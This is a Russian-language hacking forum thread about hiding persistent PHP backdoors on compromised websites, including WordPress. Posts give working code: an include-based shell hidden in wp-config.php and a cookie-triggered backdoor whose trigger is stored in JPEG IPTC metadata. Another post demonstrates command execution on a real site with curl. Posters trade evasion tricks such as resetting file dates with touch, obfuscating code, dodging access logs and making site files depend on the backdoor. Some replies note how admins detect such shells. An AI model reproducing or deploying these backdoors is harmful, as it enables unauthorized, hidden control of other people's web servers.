Пару недель назад решил взять себя в руки, и начать учить PHP, а то паскаль не в счёт. Есть у меня один сайт, в котором я нехило накосячил по неопытности, в итоге админы посносили все шеллы, и начали регулярно проверять на наличие блох. Первым действием я поискал на форуме, затем погуглил, прочитавши все способы понял, что ловить с них нечего. Всё в конечном итоге сводится к тому, что-бы добавить что-то в .htaccess, а мои админы это палят. Еще конечно был вариант с Cron'ом на линуксе, но это ужасно неудобно, ведь однажды админы разозлятся и пофиксят валнераблу. И тут мне пришла идея, вроде всё просто, но это работает: Code: $data = $_GET['youpass']; if ($data == "youpass") include "/tmp/6.jpg"; Для начала, нам нужно найти какой-нибудь PHP'шник, который не будет давать никакого результат на экран. В моем случае сайт стоит на WP, и я выбрал wp-config.php. В PHP есть очень хорошая команда include, которой всё равно на расширение. Она открывает и выполняет код, т.е можно запихнуть шелл в любую папку доступную для записи с любым расширением. Минусы: От админов, которые умеют читать логи ничего не спасёт. Прошло 3 недели. а шелл никто не фиксит. Способ работает.Вообщем-то всё. Надеюсь мои занятия по PHP не пройдут даром)
это палит access_log. плюс, если админы не проверяют все файлы на сервере - это горе админы. wp-config не должен вообще быть в access логе, а если есть - значит что-то не так. способ хорош только для тех, кто только что познакомился с интернетом. без обид
Вы представляете, что есле весомые способы были в паблике, то они перестале бы быть таковыми P.S: Метод с легкостью палится
Любой шелл палят логи, если их нельзя удалить)) Бэкдоры оставляют именно таким способом. Wp-config был приведен как пример, обычно есть еще масса других PHP'шников. Вот как вы поймете что на сайте шелл?) Описанный мной метод занимает 1-2КБ веса, что почти незаметно) + код можно закриптить. Далее touch'ишь по дате, и всё. Единственный способ это сравнения веса файла, и то, файлы обновляются, вдруг эту модификацию внесло какое-нить дополнение или плагин? Только если очень грамотный админ спалит. Вот если бы вы были админом античата, вы бы такое спалили? Допустим логов нет, тут всё понятно, те кто дружат с логами это спалят.
Спалить можно по дате создания и изменения файлов, это раз! по поиску в файлах $_GET, это два, по хешь суммам оригинальной CMS и про трояненой!
Я же написал, дату поменять touch'ем как раз плюнуть. Код можно обфусифицировать, и уже поиск &_GET не поможет. Хеш сумма это да, но обычно часто движок может чё-то дописать. Разобраться где бэкдор, а где работа движка сможет разобраться только опытный админ.
Палиться) Это слишком подозрительно, после того как админы поудаляли шелл, и зайдя в htaccess состоящий с одной строчки сразу всё понятно. У меня это спалили через два часа. А по поводу файла который инклудится, обратите внимания на его путь. Вы бы додумались искать шелл в темповской папке, ил любой другой с правами на запись?
Ну об обуссифекации вы тут ничего не писали, а touch'ем вы можете поменять дату изменения, но ни как не дату создания! Да уж, я бы никогда не догадался, что в .htaccess можно спрятать шелл)))))
О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!
Так я ничего не создаю, я редактирую уже существующий файл. С htaccess'ом тоже метод хорош, не спорю, я просто предложил новый способ, менее паливный.
Угу, я так и делал раньше. Пытаюсь толкать рекламу по ночам на сайт, постоянно что-то дописываю и редактирую.. Шелл нужен через каждый час) Легче раз сделать чем по 100 раз заливаться. Ну а так да, вы абсолютно правы.
способ на любителя находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла Spoiler Code: <? define("IPTC_OBJECT_NAME", "005"); define("IPTC_EDIT_STATUS", "007"); define("IPTC_PRIORITY", "010"); define("IPTC_CATEGORY", "015"); define("IPTC_SUPPLEMENTAL_CATEGORY", "020"); define("IPTC_FIXTURE_IDENTIFIER", "022"); define("IPTC_KEYWORDS", "025"); define("IPTC_RELEASE_DATE", "030"); define("IPTC_RELEASE_TIME", "035"); define("IPTC_SPECIAL_INSTRUCTIONS", "040"); define("IPTC_REFERENCE_SERVICE", "045"); define("IPTC_REFERENCE_DATE", "047"); define("IPTC_REFERENCE_NUMBER", "050"); define("IPTC_CREATED_DATE", "055"); define("IPTC_CREATED_TIME", "060"); define("IPTC_ORIGINATING_PROGRAM", "065"); define("IPTC_PROGRAM_VERSION", "070"); define("IPTC_OBJECT_CYCLE", "075"); define("IPTC_BYLINE", "080"); define("IPTC_BYLINE_TITLE", "085"); define("IPTC_CITY", "090"); define("IPTC_PROVINCE_STATE", "095"); define("IPTC_COUNTRY_CODE", "100"); define("IPTC_COUNTRY", "101"); define("IPTC_ORIGINAL_TRANSMISSION_REFERENCE", "103"); define("IPTC_HEADLINE", "105"); define("IPTC_CREDIT", "110"); define("IPTC_SOURCE", "115"); define("IPTC_COPYRIGHT_STRING", "116"); define("IPTC_CAPTION", "120"); define("IPTC_LOCAL_CAPTION", "121"); class IPTC { var $meta = []; var $file = null; function __construct($filename) { $info = null; $size = getimagesize($filename, $info); if(isset($info["APP13"])) $this->meta = iptcparse($info["APP13"]); $this->file = $filename; } function getValue($tag) { return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : ""; } function setValue($tag, $data) { $this->meta["2#$tag"] = [$data]; $this->write(); } private function write() { $mode = 0; $content = iptcembed($this->binary(), $this->file, $mode); $filename = $this->file; if(file_exists($this->file)) unlink($this->file); $fp = fopen($this->file, "w"); fwrite($fp, $content); fclose($fp); } private function binary() { $data = ""; foreach(array_keys($this->meta) as $key) { $tag = str_replace("2#", "", $key); $data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]); } return $data; } function iptc_maketag($rec, $data, $value) { $length = strlen($value); $retval = chr(0x1C) . chr($rec) . chr($data); if($length < 0x8000) { $retval .= chr($length >> 8) . chr($length & 0xFF); } else { $retval .= chr(0x80) . chr(0x04) . chr(($length >> 24) & 0xFF) . chr(($length >> 16) & 0xFF) . chr(($length >> 8) & 0xFF) . chr($length & 0xFF); } return $retval . $value; } function dump() { echo "<pre>"; print_r($this->meta); echo "</pre>"; } #requires GD library installed function removeAllTags() { $this->meta = []; $img = imagecreatefromstring(implode(file($this->file))); if(file_exists($this->file)) unlink($this->file); imagejpeg($img, $this->file, 100); } } $file = "test.jpg"; $time = filemtime($file); $objIPTC = new IPTC($file); //set title $objIPTC->setValue(IPTC_HEADLINE, "_COOKIE"); touch($file,$time); //set description echo $objIPTC->getValue(IPTC_HEADLINE); ?> после выполнения скрипт должен вывести "_COOKIE" затем в нужный php файл, в нужном месте добавляем следующий код Code: $file = "test.jpg"; $size = getimagesize($file, $info); if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0]; if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']); суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31 пример работы Code: $ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")' /usr/bin/bash +ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте -ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект
А я и забыл про этот пост, так давно это дело писал. Теперь вижу со стороны свои ошибки.. Да все можно сделать намного проще. Например, не проверять GET параметр, а куку. Тогда в логах вообще будет что то типа POST index.php
я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)
А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "нихуя вообще работать не будет =)))))" P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...
Все неопытные и опытные админы первым делом смотрят в индекс и это факт. Конечно можно воспользоваться некоторыми хитростями и помещать их именно в индекс, но это подходит только когда нужно закрепиться на сайте, что бы админ не догадывался что вы есть.